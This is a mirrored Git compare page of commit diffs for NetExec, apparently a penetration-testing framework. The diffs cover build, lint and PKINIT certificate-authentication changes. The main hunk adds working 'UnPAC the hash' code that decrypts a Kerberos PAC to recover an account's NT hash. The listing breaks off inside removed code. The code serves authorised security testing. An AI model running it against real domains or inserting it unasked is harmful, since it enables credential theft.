mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-08 02:08:18 -10:00
Compare commits
156
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0a8b9ddff3 | ||
|
|
1de39bf66b | ||
|
|
7d0074e311 | ||
|
|
6431599d0f | ||
|
|
a9e34aa904 | ||
|
|
2d3d5fb16e | ||
|
|
851e3a49c9 | ||
|
|
ab4f81ad57 | ||
|
|
3e9b1aa0db | ||
|
|
bc0d65c0ad | ||
|
|
9c708494aa | ||
|
|
f9727f144d | ||
|
|
d7393f685c | ||
|
|
a4f86d270c | ||
|
|
841d7fe222 | ||
|
|
0187d86adb | ||
|
|
349cbd7172 | ||
|
|
c69c4b8ba7 | ||
|
|
c8a35f7813 | ||
|
|
f08f65a459 | ||
|
|
6965632b46 | ||
|
|
499219b5d9 | ||
|
|
a88b16634d | ||
|
|
ba6a16558a | ||
|
|
93d62e5ee2 | ||
|
|
0ad109c170 | ||
|
|
d78d3badb0 | ||
|
|
30cf146578 | ||
|
|
31a98e5b02 | ||
|
|
69f281055e | ||
|
|
3e0f905609 | ||
|
|
8dfbc5941d | ||
|
|
2943ec4fb4 | ||
|
|
f16d0f8cf8 | ||
|
|
8ca80f1522 | ||
|
|
ecbf7b5dd8 | ||
|
|
21d14df973 | ||
|
|
6a07de72a2 | ||
|
|
e48413e448 | ||
|
|
3ff527b698 | ||
|
|
8a8d4ec93e | ||
|
|
add06debbc | ||
|
|
821c17563e | ||
|
|
e13597cb8e | ||
|
|
468c4f93b9 | ||
|
|
0e4959c10d | ||
|
|
6fbea2ae1d | ||
|
|
e5ff59ae0a | ||
|
|
1b9435e668 | ||
|
|
b7565a2cbf | ||
|
|
74e9fe27ed | ||
|
|
62e40f2423 | ||
|
|
30b3a6543b | ||
|
|
5a4ef2d5ac | ||
|
|
02aae10963 | ||
|
|
9d6a6d7911 | ||
|
|
99c88e562e | ||
|
|
73ec147399 | ||
|
|
10ddc3df9d | ||
|
|
440ca60684 | ||
|
|
719add5367 | ||
|
|
c2d7fdb8a5 | ||
|
|
70e385a27e | ||
|
|
3b827ef2d3 | ||
|
|
61287f0bf9 | ||
|
|
495d770afd | ||
|
|
fdf5e491f0 | ||
|
|
56e535a637 | ||
|
|
e2b8c4962a | ||
|
|
913fc5ba71 | ||
|
|
6cc7347d0f | ||
|
|
d26884a540 | ||
|
|
bd0dcf55b9 | ||
|
|
20731f4009 | ||
|
|
2f0021c436 | ||
|
|
ae14dd2bbc | ||
|
|
d65d2cb51d | ||
|
|
0da788f021 | ||
|
|
b8e892ae41 | ||
|
|
8678bf9cbb | ||
|
|
36e9731b2c | ||
|
|
e55cc5d23d | ||
|
|
949ffa5439 | ||
|
|
133e7ff5bd | ||
|
|
e6a4d9f2f0 | ||
|
|
d1464494a8 | ||
|
|
df356ca087 | ||
|
|
ae683dba10 | ||
|
|
de8c1353e6 | ||
|
|
b29b2a7e13 | ||
|
|
e1daa2936c | ||
|
|
4f9d13c27a | ||
|
|
680a38e486 | ||
|
|
dbc3e3cd21 | ||
|
|
3e02616568 | ||
|
|
f0ef5d685d | ||
|
|
3db9914628 | ||
|
|
cbb214b7e4 | ||
|
|
3618aa4fbd | ||
|
|
0615464f7a | ||
|
|
17166719c6 | ||
|
|
f2dc91e16b | ||
|
|
f50d8d8322 | ||
|
|
23e097975a | ||
|
|
28b9d077a3 | ||
|
|
f85c1e54ab | ||
|
|
c573cdb203 | ||
|
|
c6ff87ba0d | ||
|
|
e24a78f5df | ||
|
|
26d8fd291c | ||
|
|
adb3b48138 | ||
|
|
5314ae2a00 | ||
|
|
6b4247eb60 | ||
|
|
0b65706ea1 | ||
|
|
f261dea428 | ||
|
|
fd761d8371 | ||
|
|
3a4630fc7b | ||
|
|
2ced678694 | ||
|
|
34bc130329 | ||
|
|
98376de004 | ||
|
|
7a7d8653ba | ||
|
|
865ea743ba | ||
|
|
e5d11260e3 | ||
|
|
f23ed12e80 | ||
|
|
df6ad2f26d | ||
|
|
a7c0968348 | ||
|
|
a67f07f54e | ||
|
|
a37a4438a1 | ||
|
|
0ae3cc9a39 | ||
|
|
39e46f2143 | ||
|
|
f7bc61347a | ||
|
|
8cd06f5434 | ||
|
|
db7791d60c | ||
|
|
185c11390b | ||
|
|
315abab0b2 | ||
|
|
311441c429 | ||
|
|
081107a9ce | ||
|
|
b99fa8b8f2 | ||
|
|
3f28024429 | ||
|
|
4bc98e7899 | ||
|
|
88ee0ce2f6 | ||
|
|
c501de88c8 | ||
|
|
d807ebd4e4 | ||
|
|
8417639cda | ||
|
|
4444e45e2a | ||
|
|
313487fe3f | ||
|
|
254f69defb | ||
|
|
2eac3ce028 | ||
|
|
22d3dcc5bf | ||
|
|
83be3161ec | ||
|
|
80d38c1013 | ||
|
|
84b4831dba | ||
|
|
df1db9595d | ||
|
|
d0fced5bef | ||
|
|
0e08d74e87 | ||
|
|
8f6d2afec1 |
No files matched your search
@@ -64,3 +64,5 @@ docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
nxc/.DS_Store
|
||||
.DS_Store
|
||||
@@ -12,6 +12,12 @@
|
||||
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
|
||||
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
|
||||
|
||||
# NetExec protocol structure
|
||||
|
||||
- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
|
||||
- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
|
||||
- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
|
||||
|
||||
# NetExec module structure
|
||||
|
||||
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
|
||||
|
||||
@@ -13,7 +13,7 @@ clean:
|
||||
find . -name '.pytest_cache' -exec rm -rf {} +
|
||||
|
||||
tests:
|
||||
flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/*
|
||||
ruff check .
|
||||
|
||||
requirements:
|
||||
poetry export --without-hashes -f requirements.txt -o requirements.txt
|
||||
|
||||
+13
-2
@@ -32,11 +32,12 @@ a = Analysis(
|
||||
'impacket.dcerpc.v5.rprn',
|
||||
'impacket.dcerpc.v5.even',
|
||||
'impacket.dcerpc.v5.even6',
|
||||
'impacket.dcerpc.v5.tsts',
|
||||
'impacket.dpapi_ng',
|
||||
'impacket.tds',
|
||||
'impacket.version',
|
||||
'impacket.ldap.ldap',
|
||||
'jwt',
|
||||
'impacket.krb5.kpasswd',
|
||||
'nxc.connection',
|
||||
'nxc.protocols.smb.wmiexec',
|
||||
'nxc.protocols.smb.atexec',
|
||||
@@ -48,9 +49,12 @@ a = Analysis(
|
||||
'nxc.parsers.ldap_results',
|
||||
'nxc.helpers.bash',
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.dpapi',
|
||||
'nxc.helpers.even6_parser',
|
||||
'nxc.helpers.firefox',
|
||||
'nxc.helpers.msada_guids',
|
||||
'nxc.helpers.negotiate_parser',
|
||||
'nxc.helpers.smb',
|
||||
'paramiko',
|
||||
'pefile',
|
||||
'pypsrp.client',
|
||||
@@ -84,9 +88,16 @@ a = Analysis(
|
||||
'dploot.triage.cng',
|
||||
'dploot.lib.target',
|
||||
'dploot.lib.smb',
|
||||
'dploot.lib.network.mssql',
|
||||
'dploot.lib.network.winrm',
|
||||
'dsinternals.common.cryptography.X509Certificate2',
|
||||
'dsinternals.common.data.DNWithBinary',
|
||||
'dsinternals.common.data.hello.KeyCredential',
|
||||
'dsinternals.system.DateTime',
|
||||
'dsinternals.system.Guid',
|
||||
'lxml.objectify',
|
||||
'pyasn1_modules.rfc5652',
|
||||
'unicrypto.backends.pycryptodomex',
|
||||
'dateutil.relativedelta',
|
||||
'sspilib.raw._text',
|
||||
],
|
||||
hookspath=['./nxc/.hooks'],
|
||||
|
||||
+7
-4
@@ -109,9 +109,11 @@ class connection:
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.certificate_auth = bool(self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert)
|
||||
self.kerberos = bool(self.args.kerberos or
|
||||
self.args.use_kcache or
|
||||
self.args.aesKey or
|
||||
(self.certificate_auth and not (self.protocol == "ldap" and self.args.schannel)) or # PKINIT yields a TGT, while Schannel binds the certificate to the LDAP channel itself
|
||||
(hasattr(self.args, "delegate") and self.args.delegate) or
|
||||
(hasattr(self.args, "generate_st") and self.args.generate_st) or
|
||||
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
|
||||
@@ -119,6 +121,7 @@ class connection:
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
self.admin_privs = False
|
||||
self.failed_logins = 0
|
||||
self.has_reusable_secret = not (self.protocol == "ldap" and self.args.schannel) # a Schannel bind authenticates the LDAP connection only, leaving no secret for a second channel
|
||||
|
||||
# Network info
|
||||
self.domain = None
|
||||
@@ -222,7 +225,7 @@ class connection:
|
||||
self.output_filename = os.path.join(base_log_dir, filename_pattern)
|
||||
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
|
||||
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql" and not self.certificate_auth): # a failed certificate auth is not a null session
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
if self.args.module:
|
||||
@@ -531,18 +534,18 @@ class connection:
|
||||
self.logger.info("Successfully authenticated using Kerberos cache")
|
||||
return True
|
||||
|
||||
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
|
||||
if self.certificate_auth:
|
||||
self.logger.debug("Trying to authenticate using Certificate pfx")
|
||||
if self.args.protocol == "ldap" and self.args.schannel:
|
||||
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
|
||||
with sem:
|
||||
return self.plaintext_login(self.domain, "", "")
|
||||
if not self.args.username:
|
||||
if not username:
|
||||
self.logger.fail("You must specify a username when using certificate authentication")
|
||||
return False
|
||||
with sem:
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
return pfx_auth(self)
|
||||
return pfx_auth(self, domain[0], username[0])
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
|
||||
+164
-540
@@ -1,575 +1,199 @@
|
||||
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Description:
|
||||
# This script will use an existing TGT to request a PAC for the current user using U2U.
|
||||
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
|
||||
# used for silver tickets and for backwards compatibility with other tooling.
|
||||
# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
|
||||
#
|
||||
# References:
|
||||
#
|
||||
# PKINIT: https://www.rfc-editor.org/rfc/rfc4556
|
||||
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
|
||||
#
|
||||
# Based on examples from minikerberos by skelsec
|
||||
# Parts of this code was inspired by the following project by @rubin_mor
|
||||
# https://github.com/morRubin/AzureADJoinedMachinePTC
|
||||
#
|
||||
# Author:
|
||||
# Tamas Jos (@skelsec)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Authors:
|
||||
# Azox (@azoxlpf) for the PKINIT implementation, in impacket and in nxc
|
||||
# Dirk-jan Mollema (@_dirkjan) for the original UnPAC the hash implementation
|
||||
|
||||
import os
|
||||
import secrets
|
||||
import tempfile
|
||||
import hashlib
|
||||
import datetime
|
||||
import random
|
||||
import base64
|
||||
import datetime
|
||||
import os
|
||||
import random
|
||||
import tempfile
|
||||
|
||||
from binascii import unhexlify, hexlify
|
||||
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
|
||||
|
||||
from asn1crypto import cms
|
||||
from asn1crypto import algos
|
||||
from asn1crypto import core
|
||||
from asn1crypto import keys
|
||||
from asn1crypto import x509
|
||||
|
||||
from minikerberos.protocol.dirtydh import DirtyDH
|
||||
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
|
||||
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
|
||||
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
|
||||
from binascii import hexlify
|
||||
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
from pyasn1.error import PyAsn1Error
|
||||
from pyasn1.type.univ import noValue
|
||||
|
||||
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
|
||||
from impacket.krb5.kerberosv5 import sendReceive
|
||||
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
|
||||
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
|
||||
from impacket.krb5.types import Principal, KerberosTime, Ticket
|
||||
from impacket.krb5.asn1 import AD_IF_RELEVANT, AP_REQ, AS_REP, Authenticator, EncTicketPart, TGS_REP, TGS_REQ, Ticket as TicketAsn1, seq_set, seq_set_iter
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.crypto import InvalidChecksum, _enctype_table
|
||||
from impacket.krb5.kerberosv5 import KerberosError, sendReceive
|
||||
from impacket.krb5.pac import NTLM_SUPPLEMENTAL_CREDENTIAL, PACTYPE, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER
|
||||
from impacket.krb5.pkinit import PKINITCredentials, PKINITError, getKerberosTGTPKINIT
|
||||
from impacket.krb5.types import KerberosTime, Principal, Ticket
|
||||
|
||||
# Imports for pfx_auth
|
||||
from minikerberos.network.clientsocket import KerberosClientSocket
|
||||
from minikerberos.common.target import KerberosTarget
|
||||
from minikerberos.common.ccache import CCACHE
|
||||
|
||||
from impacket.krb5.ccache import CCache as impacket_CCache
|
||||
|
||||
from nxc.paths import NXC_PATH, TMP_PATH
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.paths import NXC_PATH, TMP_PATH
|
||||
|
||||
|
||||
def _load_asn1_certificate(data):
|
||||
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
|
||||
def pkinit_credentials(args):
|
||||
"""Load the client certificate and its private key as the PKINIT credentials impacket expects"""
|
||||
if args.pfx_cert:
|
||||
return PKINITCredentials.fromPFX(args.pfx_cert, args.pfx_pass)
|
||||
|
||||
The certificate is parsed by cryptography and re-encoded, so that malformed input is
|
||||
rejected here instead of failing later inside asn1crypto, which parses lazily
|
||||
if args.pfx_base64:
|
||||
with open(args.pfx_base64, "rb") as pfx_base64_file:
|
||||
pfxdata = base64.b64decode(pfx_base64_file.read())
|
||||
return PKINITCredentials.fromPFXData(pfxdata, args.pfx_pass, source=f"the base64 PFX file {args.pfx_base64}")
|
||||
|
||||
if args.pem_cert and args.pem_key:
|
||||
return PKINITCredentials.fromPEM(args.pem_cert, args.pem_key, args.pfx_pass)
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def read_nt_hash_from_pac(connection, enc_ticket_part, reply_key):
|
||||
"""Return the NT hash held by the PAC_CREDENTIAL_INFO of a ticket, or None when the PAC carries none"""
|
||||
decoded_ticket_part = decoder.decode(enc_ticket_part, asn1Spec=EncTicketPart())[0]
|
||||
ad_if_relevant = decoder.decode(decoded_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[0]
|
||||
pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
|
||||
|
||||
buffers = pac_type["Buffers"]
|
||||
for _ in range(pac_type["cBuffers"]):
|
||||
info_buffer = PAC_INFO_BUFFER(buffers)
|
||||
buffers = buffers[len(info_buffer):]
|
||||
connection.logger.debug(f"PAC buffer type {info_buffer['ulType']}")
|
||||
if info_buffer["ulType"] != 2: # PAC_CREDENTIAL_INFO
|
||||
continue
|
||||
|
||||
credential_info = PAC_CREDENTIAL_INFO(pac_type["Buffers"][info_buffer["Offset"] - 8:][:info_buffer["cbBufferSize"]])
|
||||
cipher = _enctype_table[credential_info["EncryptionType"]]
|
||||
# Key usage 16: the PAC credential info, encrypted with the AS reply key
|
||||
credential_data = cipher.decrypt(reply_key, 16, credential_info["SerializedData"])
|
||||
serialization_header = TypeSerialization1(credential_data)
|
||||
# Skip the 4 bytes of the ReferentID of the pointer following the header
|
||||
credentials = PAC_CREDENTIAL_DATA(credential_data[len(serialization_header) + 4:])
|
||||
for credential in credentials["Credentials"]:
|
||||
supplemental_credential = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(credential["Credentials"]))
|
||||
return hexlify(supplemental_credential["NtPassword"]).decode()
|
||||
|
||||
connection.logger.fail("The PAC holds no PAC_CREDENTIAL_INFO: the account has no NT hash stored, or the TGT did not come from PKINIT")
|
||||
return None
|
||||
|
||||
|
||||
def unpac_the_hash(connection, username, tgt, cipher, reply_key, session_key):
|
||||
"""Recover the NT hash of the account the TGT belongs to, through a U2U service ticket to itself
|
||||
|
||||
Only a PKINIT AS-REP carries a PAC_CREDENTIAL_INFO, and the KDC encrypts it with the AS reply key,
|
||||
which the TGT does not expose: it has to be read from a ticket requested with that very TGT.
|
||||
Returns None, after logging why, when the hash cannot be recovered
|
||||
"""
|
||||
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
|
||||
return _to_asn1_certificate(cert)
|
||||
|
||||
|
||||
def _to_asn1_certificate(cert):
|
||||
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
|
||||
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
|
||||
|
||||
|
||||
def _check_rsa_privkey(privkey):
|
||||
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
|
||||
if not isinstance(privkey, rsa.RSAPrivateKey):
|
||||
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
|
||||
return privkey
|
||||
|
||||
|
||||
class myPKINIT:
|
||||
"""
|
||||
Copy of minikerberos PKINIT
|
||||
With some changes where it differs from PKINIT used in NegoEx
|
||||
|
||||
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
|
||||
which fails at import time on any OpenSSL whose version has a two digit component
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.privkey = None
|
||||
self.certificate = None
|
||||
self.issuer = None
|
||||
self.cname = None
|
||||
self.diffie = None
|
||||
|
||||
@staticmethod
|
||||
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
|
||||
with open(pfxfile, "rb") as f:
|
||||
pfxdata = f.read()
|
||||
|
||||
if b64:
|
||||
pfxdata = base64.b64decode(pfxdata)
|
||||
|
||||
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
|
||||
|
||||
@staticmethod
|
||||
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
# cryptography requires None (not an empty password) for a pfx without password
|
||||
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
|
||||
# a pfx holding only a certificate parses fine, so check the key before the certificate
|
||||
if privkey is None:
|
||||
raise Exception("No private key found in the PFX file")
|
||||
if cert is None:
|
||||
raise Exception("No certificate found in the PFX file")
|
||||
pkinit.privkey = _check_rsa_privkey(privkey)
|
||||
pkinit.certificate = _to_asn1_certificate(cert)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@staticmethod
|
||||
def from_pem(certfile, privkeyfile, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
with open(certfile, "rb") as f:
|
||||
pkinit.certificate = _load_asn1_certificate(f.read())
|
||||
with open(privkeyfile, "rb") as f:
|
||||
keydata = f.read()
|
||||
try:
|
||||
try:
|
||||
privkey = serialization.load_pem_private_key(keydata, password=None)
|
||||
except ValueError:
|
||||
privkey = serialization.load_der_private_key(keydata, password=None)
|
||||
except TypeError as e:
|
||||
# raised by both loaders when the key is encrypted and no password was given
|
||||
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
|
||||
pkinit.privkey = _check_rsa_privkey(privkey)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
def sign_authpack(self, data, wrap_signed=False):
|
||||
return self.sign_authpack_native(data, wrap_signed)
|
||||
|
||||
def setup(self, dh_params=None):
|
||||
self.issuer = self.certificate.issuer.native["common_name"]
|
||||
if dh_params is None:
|
||||
nxc_logger.display("Generating DH params...")
|
||||
nxc_logger.display("DH params generated.")
|
||||
else:
|
||||
if isinstance(dh_params, dict):
|
||||
self.diffie = DirtyDH.from_dict(dh_params)
|
||||
elif isinstance(dh_params, bytes):
|
||||
self.diffie = DirtyDH.from_asn1(dh_params)
|
||||
elif isinstance(dh_params, DirtyDH):
|
||||
self.diffie = dh_params
|
||||
else:
|
||||
raise Exception("DH params must be either a bytearray or a dict")
|
||||
|
||||
def build_asreq(self, domain=None, cname=None, kdcopts=None):
|
||||
if kdcopts is None:
|
||||
kdcopts = ["forwardable", "renewable", "renewable-ok"]
|
||||
if isinstance(kdcopts, list):
|
||||
kdcopts = set(kdcopts)
|
||||
if cname is not None:
|
||||
if isinstance(cname, str):
|
||||
cname = [cname]
|
||||
else:
|
||||
cname = [self.cname]
|
||||
|
||||
now = datetime.datetime.now(datetime.UTC)
|
||||
|
||||
kdc_req_body_data = {}
|
||||
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
|
||||
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
|
||||
kdc_req_body_data["realm"] = domain.upper()
|
||||
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
|
||||
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["nonce"] = secrets.randbits(31)
|
||||
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
|
||||
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
|
||||
|
||||
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
|
||||
|
||||
authenticator = {}
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = now.replace(microsecond=0)
|
||||
authenticator["nonce"] = secrets.randbits(31)
|
||||
authenticator["paChecksum"] = checksum
|
||||
|
||||
dp = {}
|
||||
dp["p"] = self.diffie.p
|
||||
dp["g"] = self.diffie.g
|
||||
dp["q"] = 0 # mandatory parameter, but it is not needed
|
||||
|
||||
pka = {}
|
||||
pka["algorithm"] = "1.2.840.10046.2.1"
|
||||
pka["parameters"] = keys.DomainParameters(dp)
|
||||
|
||||
spki = {}
|
||||
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
|
||||
spki["public_key"] = self.diffie.get_public_key()
|
||||
|
||||
authpack = {}
|
||||
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
|
||||
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
|
||||
authpack["clientDHNonce"] = self.diffie.dh_nonce
|
||||
|
||||
authpack = AuthPack(authpack)
|
||||
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
|
||||
|
||||
payload = PA_PK_AS_REQ()
|
||||
payload["signedAuthPack"] = signed_authpack
|
||||
|
||||
pa_data_1 = {}
|
||||
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
|
||||
pa_data_1["padata-value"] = payload.dump()
|
||||
|
||||
pa_data_0 = {}
|
||||
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
|
||||
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
|
||||
|
||||
asreq = {}
|
||||
asreq["pvno"] = 5
|
||||
asreq["msg-type"] = 10
|
||||
asreq["padata"] = [pa_data_0, pa_data_1]
|
||||
asreq["req-body"] = kdc_req_body
|
||||
|
||||
return AS_REQ(asreq).dump()
|
||||
|
||||
def sign_authpack_native(self, data, wrap_signed=False):
|
||||
"""
|
||||
Creating PKCS7 blob which contains the following things:
|
||||
|
||||
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
|
||||
2. the certificate used to sign the data blob
|
||||
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
|
||||
"""
|
||||
da = {}
|
||||
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
|
||||
|
||||
si = {}
|
||||
si["version"] = "v1"
|
||||
si["sid"] = cms.IssuerAndSerialNumber({
|
||||
"issuer": self.certificate.issuer,
|
||||
"serial_number": self.certificate.serial_number,
|
||||
})
|
||||
|
||||
si["digest_algorithm"] = algos.DigestAlgorithm(da)
|
||||
si["signed_attrs"] = [
|
||||
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
|
||||
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
|
||||
]
|
||||
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
|
||||
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
|
||||
|
||||
ec = {}
|
||||
ec["content_type"] = "1.3.6.1.5.2.3.1"
|
||||
ec["content"] = data
|
||||
|
||||
sd = {}
|
||||
sd["version"] = "v3"
|
||||
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
|
||||
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
|
||||
sd["certificates"] = [self.certificate]
|
||||
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
|
||||
|
||||
if wrap_signed is True:
|
||||
ci = {}
|
||||
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
|
||||
ci["content"] = cms.SignedData(sd)
|
||||
return cms.ContentInfo(ci).dump()
|
||||
|
||||
return cms.SignedData(sd).dump()
|
||||
|
||||
def decrypt_asrep(self, as_rep):
|
||||
def truncate_key(value, keysize):
|
||||
output = b""
|
||||
currentNum = 0
|
||||
while len(output) < keysize:
|
||||
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
|
||||
if len(output) + len(currentDigest) > keysize:
|
||||
output += currentDigest[:keysize - len(output)]
|
||||
break
|
||||
output += currentDigest
|
||||
currentNum += 1
|
||||
|
||||
return output
|
||||
|
||||
for pa in as_rep["padata"]:
|
||||
if pa["padata-type"] == 17:
|
||||
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
|
||||
break
|
||||
else:
|
||||
raise Exception("PA_PK_AS_REP not found!")
|
||||
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
|
||||
sd = ci["content"]
|
||||
keyinfo = sd["encap_content_info"]
|
||||
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
|
||||
raise Exception("Keyinfo content type unexpected value")
|
||||
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
|
||||
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
|
||||
|
||||
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
|
||||
shared_key = self.diffie.exchange(pubkey)
|
||||
|
||||
server_nonce = pkasrep["serverDHNonce"]
|
||||
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
|
||||
|
||||
etype = as_rep["enc-part"]["etype"]
|
||||
cipher = _enctype_table[etype]
|
||||
if etype == Enctype.AES256:
|
||||
t_key = truncate_key(fullKey, 32)
|
||||
elif etype == Enctype.AES128:
|
||||
t_key = truncate_key(fullKey, 16)
|
||||
elif etype == Enctype.RC4:
|
||||
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
|
||||
|
||||
key = Key(cipher.enctype, t_key)
|
||||
enc_data = as_rep["enc-part"]["cipher"]
|
||||
nxc_logger.info("AS-REP encryption key (you might need this later):")
|
||||
nxc_logger.info(hexlify(t_key).decode("utf-8"))
|
||||
dec_data = cipher.decrypt(key, 3, enc_data)
|
||||
encasrep = EncASRepPart.load(dec_data).native
|
||||
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
|
||||
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
|
||||
